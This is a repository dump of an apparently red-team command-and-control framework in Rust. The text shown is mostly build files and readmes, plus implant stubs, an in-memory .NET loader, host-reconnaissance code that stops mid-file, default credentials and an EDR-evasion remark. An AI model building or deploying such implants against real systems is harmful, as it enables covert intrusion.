├── .gitignore ├── conduit ├── config.toml ├── .gitignore ├── Cargo.toml ├── readme.md └── src │ └── commands.rs ├── imps ├── linux_imp │ ├── .gitignore │ ├── Cross.toml │ ├── src │ │ ├── main.rs │ │ └── lib.rs │ └── Cargo.toml ├── macimp │ ├── .gitignore │ ├── Cargo.toml │ ├── README.md │ └── src │ │ └── func.rs ├── windows_ldr │ ├── .gitignore │ ├── rust-toolchain.toml │ ├── src │ │ ├── main.rs │ │ └── lib.rs │ ├── Cross.toml │ ├── readme.md │ └── Cargo.toml ├── windows_noldr │ ├── .gitignore │ ├── rust-toolchain.toml │ ├── Cross.toml │ ├── src │ │ ├── main.rs │ │ └── lib.rs │ ├── readme.md │ └── Cargo.toml └── experimental_win │ ├── .gitignore │ ├── invoke_imp │ ├── .gitignore │ ├── src │ │ ├── main.rs │ │ ├── lib.rs │ │ ├── proto.rs │ │ └── func.rs │ ├── readme.md │ └── Cargo.toml │ ├── base_c │ ├── .gitignore │ └── implant.c │ └── win2.py ├── modules_wip ├── whoami │ ├── .gitignore │ ├── src │ │ ├── main.rs │ │ └── lib.rs │ └── Cargo.toml ├── wmi_runner │ ├── .gitignore │ ├── Cargo.toml │ ├── readme.md │ └── src │ │ ├── lib.rs │ │ └── main.rs ├── .gitignore ├── noldr │ ├── rust-toolchain.toml │ ├── Cargo.toml │ ├── Cargo.lock │ └── src │ │ ├── main.rs │ │ └── lib.rs ├── process_list │ ├── src │ │ ├── main.rs │ │ └── lib.rs │ ├── Cargo.toml │ └── Cargo.lock └── oxide_ldr │ ├── src │ ├── lib.rs │ └── main.rs │ ├── Cargo.toml │ └── Cargo.lock ├── Anvil ├── .gitignore ├── socks.jpeg ├── config.toml ├── Cargo.toml ├── README.md └── src │ └── main.rs ├── tempest_complete.gif ├── LICENSE ├── README.md └── devlog.md /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | *./target -------------------------------------------------------------------------------- /conduit/config.toml: -------------------------------------------------------------------------------- 1 | [server] 2 | port = 8443 -------------------------------------------------------------------------------- /imps/linux_imp/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /Cargo.lock -------------------------------------------------------------------------------- /imps/macimp/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /Cargo.lock -------------------------------------------------------------------------------- /imps/windows_ldr/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /Cargo.lock -------------------------------------------------------------------------------- /imps/windows_noldr/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /Cargo.lock -------------------------------------------------------------------------------- /modules_wip/whoami/.gitignore: -------------------------------------------------------------------------------- 1 | */target 2 | */Cargo.lock -------------------------------------------------------------------------------- /modules_wip/wmi_runner/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | Cargo.lock -------------------------------------------------------------------------------- /modules_wip/.gitignore: -------------------------------------------------------------------------------- 1 | */target 2 | */Cargo.lock 3 | techplan.md -------------------------------------------------------------------------------- /imps/experimental_win/.gitignore: -------------------------------------------------------------------------------- 1 | *.ilk 2 | *.obj 3 | *.pdb 4 | *.exe -------------------------------------------------------------------------------- /imps/experimental_win/invoke_imp/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /Cargo.lock -------------------------------------------------------------------------------- /Anvil/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | Cargo.lock 3 | /bofs 4 | /cert 5 | *.bin 6 | *.db -------------------------------------------------------------------------------- /imps/experimental_win/base_c/.gitignore: -------------------------------------------------------------------------------- 1 | *.ilk 2 | *.obj 3 | *.pdb 4 | *.exe -------------------------------------------------------------------------------- /conduit/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | linux 3 | macimp 4 | *.exe 5 | *.bin 6 | Cargo.lock -------------------------------------------------------------------------------- /Anvil/socks.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Teach2Breach/Tempest/HEAD/Anvil/socks.jpeg -------------------------------------------------------------------------------- /tempest_complete.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Teach2Breach/Tempest/HEAD/tempest_complete.gif -------------------------------------------------------------------------------- /imps/windows_ldr/rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | channel = "nightly-2025-03-03" 3 | components = ["rust-src", "rustc", "cargo"] -------------------------------------------------------------------------------- /imps/linux_imp/Cross.toml: -------------------------------------------------------------------------------- 1 | [build.env] 2 | passthrough = ["LITCRYPT_ENCRYPT_KEY", "UUID", "SLEEP", "SERVER", "PORT", "JITTER", "AES_KEY"] -------------------------------------------------------------------------------- /imps/windows_noldr/rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | channel = "nightly-2025-03-03" 3 | components = ["rust-src", "rustc", "cargo"] -------------------------------------------------------------------------------- /imps/windows_noldr/Cross.toml: -------------------------------------------------------------------------------- 1 | [build.env] 2 | passthrough = ["LITCRYPT_ENCRYPT_KEY", "UUID", "SLEEP", "SERVER", "PORT", "JITTER", "AES_KEY", "RUSTUP_TOOLCHAIN"] -------------------------------------------------------------------------------- /imps/linux_imp/src/main.rs: -------------------------------------------------------------------------------- 1 | mod proto; 2 | #[macro_use] 3 | extern crate litcrypt; 4 | use_litcrypt!("ageofmachine"); 5 | 6 | fn main() { 7 | proto::Pick(); 8 | } -------------------------------------------------------------------------------- /modules_wip/noldr/rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | channel = "nightly-2025-03-03" 3 | components = ["rust-src", "rustc", "cargo"] 4 | 5 | [toolchain] 6 | channel = "nightly" -------------------------------------------------------------------------------- /modules_wip/process_list/src/main.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | //println!("Hello, world!"); 3 | let list = process_list::get_process_list(); 4 | println!("{}", list); 5 | } 6 | -------------------------------------------------------------------------------- /imps/experimental_win/invoke_imp/src/main.rs: -------------------------------------------------------------------------------- 1 | mod proto; 2 | mod func; 3 | #[macro_use] 4 | extern crate litcrypt; 5 | 6 | use_litcrypt!(); 7 | 8 | fn main() { 9 | proto::Pick(); 10 | } -------------------------------------------------------------------------------- /imps/windows_ldr/src/main.rs: -------------------------------------------------------------------------------- 1 | mod proto; 2 | mod func; 3 | #[macro_use] 4 | extern crate litcrypt; 5 | 6 | use_litcrypt!(); 7 | 8 | fn main() { 9 | proto::Pick(); 10 | } 11 | -------------------------------------------------------------------------------- /imps/windows_noldr/src/main.rs: -------------------------------------------------------------------------------- 1 | mod proto; 2 | mod func; 3 | #[macro_use] 4 | extern crate litcrypt; 5 | 6 | use_litcrypt!(); 7 | 8 | fn main() { 9 | proto::Pick(); 10 | } 11 | -------------------------------------------------------------------------------- /imps/linux_imp/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![allow(dead_code)] 2 | mod proto; 3 | #[macro_use] 4 | extern crate litcrypt; 5 | use_litcrypt!("ageofmachine"); 6 | 7 | pub extern fn main() { 8 | proto::Pick(); 9 | } -------------------------------------------------------------------------------- /imps/experimental_win/invoke_imp/readme.md: -------------------------------------------------------------------------------- 1 | compile dll with: 2 | cargo rustc --lib --release -- -C relocation-model=pic 3 | 4 | compile exe with: 5 | cargo rustc --bin invoke_imp --release -- -C relocation-model=pic -------------------------------------------------------------------------------- /imps/experimental_win/invoke_imp/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![allow(dead_code)] 2 | mod proto; 3 | mod func; 4 | #[macro_use] 5 | extern crate litcrypt; 6 | 7 | use_litcrypt!(); 8 | 9 | pub extern fn main() { 10 | proto::Pick(); 11 | } -------------------------------------------------------------------------------- /imps/windows_ldr/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![allow(dead_code)] 2 | mod proto; 3 | mod func; 4 | #[macro_use] 5 | extern crate litcrypt; 6 | 7 | use_litcrypt!(); 8 | 9 | pub extern fn main() { 10 | proto::Pick(); 11 | } 12 | -------------------------------------------------------------------------------- /imps/windows_noldr/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![allow(dead_code)] 2 | mod proto; 3 | mod func; 4 | #[macro_use] 5 | extern crate litcrypt; 6 | 7 | use_litcrypt!(); 8 | 9 | pub extern fn main() { 10 | proto::Pick(); 11 | } 12 | -------------------------------------------------------------------------------- /imps/windows_ldr/Cross.toml: -------------------------------------------------------------------------------- 1 | [build.env] 2 | passthrough = ["LITCRYPT_ENCRYPT_KEY", "UUID", "SLEEP", "SERVER", "PORT", "JITTER", "AES_KEY", "RUSTUP_TOOLCHAIN"] 3 | 4 | [build.env] 5 | passthrough = ["LITCRYPT_ENCRYPT_KEY", "UUID", "SLEEP", "SERVER", "PORT", "JITTER", "AES_KEY"] 6 | -------------------------------------------------------------------------------- /Anvil/config.toml: -------------------------------------------------------------------------------- 1 | [[users]] 2 | username = "forge" 3 | password = "forge" 4 | 5 | [cert] 6 | private_key = "/path/to/cert/key.pem" 7 | certificate = "/path/to/cert/cert.pem" 8 | 9 | [crypt] 10 | LITCRYPT_ENCRYPT_KEY = "ageofmachine" 11 | 12 | [server] 13 | implant_port = 443 14 | conduit_port = 8443 15 | 16 | [build] 17 | toolchain = "nightly-2025-03-03" -------------------------------------------------------------------------------- /imps/macimp/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "macimp" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | libc = "0.2.155" 8 | reqwest = { version = "0.11.4", features = ["blocking"] } 9 | serde_json = "1.0.117" 10 | serde = { version = "1.0.173", features = ["derive"] } 11 | base64 = "0.21.2" 12 | openssl = { version = "0.10", features = ["vendored"] } -------------------------------------------------------------------------------- /imps/windows_noldr/readme.md: -------------------------------------------------------------------------------- 1 | compile dll with: 2 | cargo rustc --lib --release -- -C relocation-model=pic 3 | 4 | compile exe with: 5 | cargo rustc --bin windows_noldr --release -- -C relocation-model=pic 6 | 7 | cross-compilation command (testing - requires cross, podman, and Cross.toml): 8 | cross rustc --bin windows_noldr --target x86_64-pc-windows-gnu --release -- -C relocation-model=pic -------------------------------------------------------------------------------- /imps/windows_ldr/readme.md: -------------------------------------------------------------------------------- 1 | compile dll with: 2 | cargo rustc --lib --release -- -C relocation-model=pic 3 | 4 | compile exe with: 5 | cargo rustc --bin rawimp_dev_copy --release -- -C relocation-model=pic 6 | 7 | cross-compilation command (testing - requires cross, podman, and Cross.toml): 8 | cross rustc --bin rawimp_dev_copy --target x86_64-pc-windows-gnu --release -- -C relocation-model=pic -------------------------------------------------------------------------------- /modules_wip/whoami/src/main.rs: -------------------------------------------------------------------------------- 1 | #[macro_use] 2 | extern crate litcrypt; 3 | 4 | use_litcrypt!("ageofmachine"); 5 | 6 | use whoami::get_username_ntapi; 7 | 8 | fn main() { 9 | 10 | //println!("calling get_username_ntapi"); 11 | let user = match get_username_ntapi() { 12 | Ok(username) => username, 13 | Err(error) => { 14 | eprintln!("Error: {}", error); 15 | return; 16 | } 17 | }; 18 | println!("Username + Privs: {}", user); 19 | } -------------------------------------------------------------------------------- /modules_wip/wmi_runner/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "wmi_runner" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [lib] 7 | name = "wmi_runner" 8 | path = "src/lib.rs" 9 | 10 | [profile.release] 11 | opt-level = "z" # Optimize for size. 12 | lto = true # Enable Link Time Optimization 13 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 14 | panic = "abort" # Abort on panic 15 | strip = true # Automatically strip symbols from the binary. 16 | 17 | [dependencies] 18 | wmi = "0.13.3" -------------------------------------------------------------------------------- /modules_wip/oxide_ldr/src/lib.rs: -------------------------------------------------------------------------------- 1 | use clroxide::clr::Clr; 2 | use std::fs; 3 | 4 | #[macro_use] 5 | extern crate litcrypt; 6 | 7 | use_litcrypt!("ageofmachine"); 8 | 9 | pub fn dotloader(content: Vec, args: String) -> Result { 10 | let sent_args: Vec = if !args.is_empty() { 11 | args.split_whitespace().map(String::from).collect() 12 | } else { 13 | Vec::new() 14 | }; 15 | 16 | let contents = content; 17 | let mut clr = Clr::new(contents, sent_args)?; 18 | 19 | let results = clr.run()?; 20 | 21 | Ok(results) 22 | } -------------------------------------------------------------------------------- /modules_wip/process_list/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "process_list" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [lib] 9 | name = "process_list" 10 | path = "src/lib.rs" 11 | 12 | [profile.release] 13 | opt-level = "z" # Optimize for size. 14 | lto = true # Enable Link Time Optimization 15 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 16 | panic = "abort" # Abort on panic 17 | strip = true # Automatically strip symbols from the binary. 18 | 19 | [dependencies] 20 | ntapi = "0.4.0" 21 | winapi = "0.3.9" 22 | litcrypt = "0.3.0" -------------------------------------------------------------------------------- /modules_wip/whoami/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "whoami" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [lib] 7 | name = "whoami" 8 | path = "src/lib.rs" 9 | 10 | [profile.release] 11 | opt-level = "z" # Optimize for size. 12 | lto = true # Enable Link Time Optimization 13 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 14 | panic = "abort" # Abort on panic 15 | strip = true # Automatically strip symbols from the binary. 16 | 17 | [dependencies] 18 | ntapi = "0.4.0" 19 | winapi = "0.3.9" 20 | litcrypt = "0.3.0" 21 | 22 | [dependencies.windows-sys] 23 | version = "0.45.0" 24 | features = ["Win32_System_Kernel", 25 | "Win32_Foundation"] 26 | -------------------------------------------------------------------------------- /imps/linux_imp/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "linux_imp" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [lib] 9 | path = "src/lib.rs" 10 | crate-type = ["staticlib", "cdylib"] 11 | 12 | [dependencies] 13 | serde = { version = "1.0.173", features = ["derive"] } 14 | serde_json = "1.0.103" 15 | litcrypt = "0.3.0" 16 | base64 = "0.21.2" 17 | reqwest = { version = "0.11.24", features = ["blocking"] } 18 | openssl = { version = "0.10", features = ["vendored"] } 19 | 20 | [profile.release] 21 | strip = true # Automatically strip symbols from the binary. 22 | opt-level = "z" # Optimize for size. 23 | lto = true 24 | codegen-units = 1 25 | panic = "abort" 26 | -------------------------------------------------------------------------------- /imps/experimental_win/invoke_imp/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "invoke_imp" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [lib] 7 | path = "src/lib.rs" 8 | crate-type = ["staticlib", "cdylib"] 9 | 10 | [dependencies] 11 | dinvoke_rs = { version = "0.1.6", features = ["syscall"] } 12 | windows-sys = { version = "0.48", features = ["Win32_System_SystemInformation", "Win32_Networking", "Win32_Networking_WinInet" ] } 13 | litcrypt = "0.3.0" 14 | serde = { version = "1.0.173", features = ["derive"] } 15 | ntapi = "0.4.0" 16 | winapi = { version = "0.3.9", features = ["processthreadsapi", "errhandlingapi", "psapi"]} 17 | wmi = "0.13.3" 18 | 19 | 20 | [profile.release] 21 | strip = true # Automatically strip symbols from the binary. 22 | opt-level = "z" # Optimize for size. 23 | lto = true 24 | codegen-units = 1 25 | panic = "abort" -------------------------------------------------------------------------------- /modules_wip/oxide_ldr/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "oxide_ldr" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [lib] 9 | name = "oxide_ldr" 10 | path = "src/lib.rs" 11 | 12 | [profile.release] 13 | opt-level = "z" # Optimize for size. 14 | lto = true # Enable Link Time Optimization 15 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 16 | panic = "abort" # Abort on panic 17 | strip = true # Automatically strip symbols from the binary. 18 | 19 | [dependencies] 20 | ntapi = "0.4.0" 21 | winapi = "0.3.9" 22 | litcrypt = "0.3.0" 23 | clroxide = "1.1.1" 24 | # clroxide = { version = "1.1.1", default-features = false } 25 | noldr = { path = "../noldr" } -------------------------------------------------------------------------------- /conduit/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "conduit" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | crossterm = { version = "0.25", features = ["event-stream"] } 10 | ratatui = "0.20" 11 | futures = "0.3" 12 | reqwest = { version = "0.11.4", features = ["json", "native-tls", "tokio-native-tls", "blocking"] } 13 | base64 = "0.21.2" 14 | tokio = { version = "1", features = ["full"] } 15 | serde = { version = "1.0.171", features = ["derive"] } 16 | serde_json = "1.0.103" 17 | chrono = "0.4.26" 18 | rusqlite = {version = "0.29.0", features = ["bundled"]} 19 | actix-web = { version = "4.3.1"} 20 | config = "0.10.1" 21 | 22 | [profile.release] 23 | strip = true # Automatically strip symbols from the binary. 24 | opt-level = "z" # Optimize for size. 25 | lto = true 26 | codegen-units = 1 27 | panic = "abort" -------------------------------------------------------------------------------- /modules_wip/noldr/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "noldr" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [lib] 9 | name = "noldr" 10 | path = "src/lib.rs" 11 | 12 | [profile.release] 13 | opt-level = "z" # Optimize for size. 14 | lto = true # Enable Link Time Optimization 15 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 16 | panic = "abort" # Abort on panic 17 | strip = true # Automatically strip symbols from the binary. 18 | 19 | [dependencies] 20 | windows = { version = "0.56.0", features = [ 21 | "Win32_System_Kernel", 22 | "Win32_System_Threading", 23 | "Win32_System_Kernel", 24 | "Win32_System_WindowsProgramming", 25 | "Win32_System_SystemServices", 26 | "Win32_System_Diagnostics_Debug", 27 | "Win32_System_SystemInformation", 28 | "Wdk_Foundation"] } 29 | memoffset = "0.9.1" 30 | -------------------------------------------------------------------------------- /Anvil/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "anvil" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | actix-web = { version = "4.3.1", features = ["openssl"] } 10 | openssl = "0.10.55" 11 | clap = { version = "4.3.5", features = ["derive"] } 12 | env_logger = "0.10.0" 13 | rusqlite = {version = "0.29.0", features = ["bundled"]} 14 | tokio = { version = "1.28.2", features = ["full"] } 15 | bcrypt = "0.14.0" 16 | base64 = "0.21.2" 17 | uuid = { version = "1.4.0", features = ["v4"] } 18 | serde = { version = "1.0.171", features = ["derive"] } 19 | chrono = "0.4.26" 20 | tracing-actix-web = "0.7.5" 21 | tracing = "0.1.37" 22 | actix-rt = "2.9.0" 23 | config = "0.10.1" 24 | actix-files = "0.6.5" 25 | dll2shell = { git = "https://github.com/Teach2Breach/dll2shell", branch = "main"} 26 | serde_json = "1.0.122" 27 | 28 | [profile.release] 29 | strip = true # Automatically strip symbols from the binary. 30 | opt-level = "z" # Optimize for size. 31 | lto = true 32 | codegen-units = 1 33 | panic = "abort" -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Kirk Trychel 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /modules_wip/oxide_ldr/src/main.rs: -------------------------------------------------------------------------------- 1 | use clroxide::clr::Clr; 2 | use std::fs; 3 | 4 | fn main() -> Result<(), String> { 5 | let args: Vec = std::env::args().collect(); 6 | 7 | // Check if the file path argument is provided 8 | if args.len() < 2 { 9 | return Err("Usage: program_name [additional arguments]".to_string()); 10 | } 11 | 12 | // Read file contents, handling potential errors 13 | let contents = fs::read(&args[1]) 14 | .map_err(|e| format!("Failed to read file '{}': {}", &args[1], e))?; 15 | 16 | // If additional arguments are provided, use them; otherwise, pass an empty string 17 | let additional_args = if args.len() > 2 { &args[2] } else { "" }; 18 | 19 | // Call dotloader with contents and additional arguments 20 | let result = oxide_ldr::dotloader(contents, additional_args.to_string()); 21 | 22 | // Match on the result to print success or error messages 23 | match result { 24 | Ok(results) => { 25 | println!("[*] Results:\n\n{:?}", results); 26 | }, 27 | Err(e) => { 28 | println!("[*] Error:\n\n{:}", e); 29 | } 30 | } 31 | 32 | Ok(()) 33 | } -------------------------------------------------------------------------------- /modules_wip/wmi_runner/readme.md: -------------------------------------------------------------------------------- 1 | ### WMI Query Runner 2 | 3 | A simple command-line tool to run WMI (Windows Management Instrumentation) queries on Windows systems. 4 | 5 | #### Features 6 | 7 | - Run custom WMI queries 8 | - Execute predefined queries for common system information 9 | - User-friendly interface with help command 10 | 11 | #### Usage 12 | 13 | 1. Run the program 14 | 2. Enter a query number (1-20) for predefined queries 15 | 3. Or enter a custom WMI query 16 | 4. Type 'help' to see available predefined queries 17 | 5. Type 'q' to quit the program 18 | 19 | #### Predefined Queries 20 | 21 | The tool includes 20 predefined queries covering: 22 | 23 | - System Information 24 | - Hardware Information 25 | - Network Information 26 | - User and Group Information 27 | - Software and Process Information 28 | - Security and Event Information 29 | 30 | #### Requirements 31 | 32 | - Windows operating system 33 | - Rust programming environment 34 | 35 | #### Building 36 | 37 | 1. Clone the repository 38 | 2. Run `cargo build` to build the project 39 | 3. Run `cargo run` to run the program 40 | 41 | #### Example 42 | 43 | ``` 44 | Enter your WMI query, a predefined query number, 'help' for options, or 'q' to quit. 45 | > 1 46 | Caption: Microsoft Windows 10 Pro 47 | Version: 10.0.19045 48 | ``` 49 | 50 | #### Example custom query 51 | 52 | ``` 53 | > SELECT * FROM Win32_UserAccount 54 | Name: Administrator 55 | ``` 56 | 57 | -------------------------------------------------------------------------------- /imps/macimp/README.md: -------------------------------------------------------------------------------- 1 | # macimp 2 | this is a TESTING BUILD. it is a work in progress. 3 | 4 | The implant now works again, after adding the encryption/decryption routines. However, it is still not supported for cross-compilation with cross by the c2 server. This means that the unique identifier first used for check-in, is not being generated and added to the c2 server db. The AES_KEY is also not able to be set by the c2 server at compile time, since the implant has to be built on a mac target (not the c2 server). This means that if you want to use this implant, you need to take a few extra steps. 5 | 6 | 1. modify the anvil server code to hardcode an entry in the unique_identifiers table, below is an example. If you want to use your own unique id (not adversary), please also change the imp_info.session value in this implant to match. 7 | 8 | ``` 9 | db.execute( 10 | "INSERT OR REPLACE INTO unique_identifiers (id) VALUES (?1)", 11 | params!["adversary"], 12 | ) 13 | .expect("Failed to insert data"); 14 | ``` 15 | 16 | 2. compile and start the anvil server. the AES key is printed by the server. set the AES_KEY as an environment variable on the mac where the implant is built. example: export AES_KEY=1234567890abcdef1234567890abcdef 17 | 18 | apologies for the current limitations, but until cross-compilation is supported, or I come up with a better way to share secrets between the server and implants, this is how I am building the implant for testing during dev. 19 | 20 | This is a functional build, but it is not hardened for OPSEC or to bypass EDR. It is an early build. If you need to operate against EDR, please take additional precautions. 21 | -------------------------------------------------------------------------------- /imps/windows_ldr/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "windows_ldr" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [lib] 9 | path = "src/lib.rs" 10 | crate-type = ["staticlib", "cdylib"] 11 | 12 | [dependencies] 13 | windows-sys = { version = "0.48.0", features = [ 14 | "Win32_Networking_WinInet", 15 | "Win32_System_LibraryLoader", 16 | "Win32_Foundation", 17 | "Win32_System_Threading", 18 | "Win32_Networking_WinHttp", 19 | "Win32_System_WindowsProgramming", 20 | "Win32_System_SystemInformation", 21 | "Win32_System_LibraryLoader"] } 22 | serde = { version = "1.0.173", features = ["derive"] } 23 | serde_json = "1.0.103" 24 | litcrypt = "0.3.0" 25 | base64 = "0.21.2" 26 | coffee-ldr = { git = "https://github.com/Teach2Breach/coffee.git", branch = "main" } 27 | reqwest = { version = "0.11.4", features = ["blocking"] } 28 | client = { git = "https://github.com/Teach2Breach/rustpivotclient.git", branch = "main" } 29 | ntapi = "0.4.0" 30 | winapi = { version = "0.3.9", features = ["processthreadsapi", "errhandlingapi", "psapi"]} 31 | # TODO: delete this after rustc upgraded. 32 | proc-macro2 = "1.0.79" 33 | openssl = { version = "0.10", features = ["vendored"] } 34 | whoami = { path = "../../modules_wip/whoami" } 35 | process_list = { path = "../../modules_wip/process_list" } 36 | oxide_ldr = { path = "../../modules_wip/oxide_ldr" } 37 | wmi = "0.13.3" 38 | 39 | [profile.release] 40 | strip = true # Automatically strip symbols from the binary. 41 | opt-level = "z" # Optimize for size. 42 | lto = true 43 | codegen-units = 1 44 | panic = "abort" -------------------------------------------------------------------------------- /imps/windows_noldr/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "windows_noldr" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [lib] 9 | path = "src/lib.rs" 10 | crate-type = ["staticlib", "cdylib"] 11 | 12 | [dependencies] 13 | windows-sys = { version = "0.48.0", features = [ 14 | "Win32_Networking_WinInet", 15 | "Win32_System_LibraryLoader", 16 | "Win32_Foundation", 17 | "Win32_System_Threading", 18 | "Win32_Networking_WinHttp", 19 | "Win32_System_WindowsProgramming", 20 | "Win32_System_SystemInformation", 21 | "Win32_System_LibraryLoader"] } 22 | serde = { version = "1.0.173", features = ["derive"] } 23 | serde_json = "1.0.103" 24 | litcrypt = "0.3.0" 25 | base64 = "0.21.2" 26 | # TODO: move coffee-ldr and rustpivotclient to local crates in /modules_wip/ folder 27 | coffee-ldr = { git = "https://github.com/Teach2Breach/coffee.git", branch = "main" } 28 | reqwest = { version = "0.11.4", features = ["blocking"] } 29 | client = { git = "https://github.com/Teach2Breach/rustpivotclient.git", branch = "main" } 30 | ntapi = "0.4.0" 31 | winapi = { version = "0.3.9", features = ["processthreadsapi", "errhandlingapi", "psapi"]} 32 | # TODO: delete this after rustc upgraded. 33 | proc-macro2 = "1.0.79" 34 | openssl = { version = "0.10", features = ["vendored"] } 35 | whoami = { path = "../../modules_wip/whoami" } 36 | process_list = { path = "../../modules_wip/process_list" } 37 | noldr = { path = "../../modules_wip/noldr" } 38 | oxide_ldr = { path = "../../modules_wip/oxide_ldr" } 39 | wmi = "0.13.3" 40 | 41 | [profile.release] 42 | strip = true # Automatically strip symbols from the binary. 43 | opt-level = "z" # Optimize for size. 44 | lto = true 45 | codegen-units = 1 46 | panic = "abort" -------------------------------------------------------------------------------- /imps/experimental_win/invoke_imp/src/proto.rs: -------------------------------------------------------------------------------- 1 | use crate::func; 2 | 3 | use serde::{Deserialize, Serialize}; 4 | 5 | use_litcrypt!(); 6 | 7 | #[derive(Serialize, Deserialize, Debug)] 8 | pub struct ImpInfo { 9 | pub session: String, 10 | pub ip: String, 11 | pub username: String, 12 | pub domain: String, 13 | pub os: String, 14 | pub imp_pid: String, 15 | pub process_name: String, 16 | pub sleep: String, 17 | } 18 | 19 | #[no_mangle] 20 | pub extern "system" fn Pick() { 21 | //println!("Hello, world!"); 22 | 23 | let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll"); 24 | let kernel32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll"); 25 | 26 | //this is a test to make sure dinvoke is working as expected 27 | /* 28 | if ntdll == 0 { 29 | println!("Failed to locate ntdll.dll"); 30 | return; 31 | } 32 | 33 | let version = func::get_version(ntdll); 34 | println!("Version: {}", version); 35 | */ 36 | /* 37 | let imp_info = ImpInfo { 38 | session: env!("UUID").to_string(), //grabs the UUID from the environment used to build the implant 39 | ip: func::get_external_ip(ntdll, kernel32), //replace with real get_external_ip function 40 | username: func::get_username(), //get the username 41 | //hardcode domain for now as TODO 42 | domain: func::get_system_domain(), 43 | os: func::get_version(ntdll), //get the os version 44 | imp_pid: func::get_pid(), //get the process id 45 | process_name: func::get_process_name(kernel32), 46 | sleep: env!("SLEEP").to_string(), //grabs the SLEEP from the environment used to build the implant 47 | }; 48 | 49 | */ 50 | 51 | //call get_versiion and print the string 52 | println!("OS Version: {}", func::get_version(ntdll)); 53 | 54 | //call get_external_ip and print the string 55 | println!("External IP: {}", func::get_external_ip(ntdll, kernel32)); 56 | 57 | //call the get_username fn and print the string 58 | println!("username: {}", func::get_username()); 59 | 60 | //call the get_pid fn and print the string 61 | println!("pid: {}", func::get_pid()); 62 | 63 | //call the 